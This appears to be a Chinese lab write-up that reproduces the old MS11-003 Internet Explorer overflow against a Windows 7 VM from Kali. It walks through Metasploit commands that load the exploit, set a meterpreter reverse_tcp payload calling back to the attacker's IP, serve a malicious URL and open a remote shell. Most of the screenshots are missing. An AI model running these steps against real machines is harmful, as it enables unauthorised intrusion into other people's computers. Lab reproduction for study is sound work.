MS11_003漏洞复现

MS11_003(windows7IE溢出攻击)

先配置环境
kali(攻击者);
windows7

标题在Windows7查看IP地址
命令:ipconfig
Windows7 IP地址:192.168.164.155
MS11_003漏洞复现_第1张图片

在kali中使用ping命令查看是否与主机相通

MS11_003漏洞复现_第2张图片

打开msfconsole模块

MS11_003漏洞复现_第3张图片

寻找 ms11_003漏洞并使用
search ms11_003
use exploit/windows/browser/ms11_003_ie_css_import
MS11_003漏洞复现_第4张图片

查看payload
show payloads
MS11_003漏洞复现_第5张图片

选择其中的
set payloads windows/meterpreter/reverse_tcp

MS11_003漏洞复现_第6张图片
在这里插入图片描述查看kali得ip
MS11_003漏洞复现_第7张图片设置参数(后面跟的IP地址为kali IP)
在这里插入图片描述uripath后面得参数随意写即可
在这里插入图片描述

运行 run
MS11_003漏洞复现_第8张图片复制结果中的 http://192.168.164.128:8080/00,到Windows7的ie浏览器中进行粘贴
MS11_003漏洞复现_第9张图片
出现相同情况则为成功连接会话

MS11_003漏洞复现_第10张图片输入sessions 查看会话id
随便选取一个ID(若选取的不行,换下一个即可)
然后输入shell即可获得Windows7shell
MS11_003漏洞复现_第11张图片MS11_003漏洞复现_第12张图片输入dir即可遍历目录
MS11_003漏洞复现_第13张图片到这里复现完成。。。。

你可能感兴趣的:(MS11_003漏洞复现)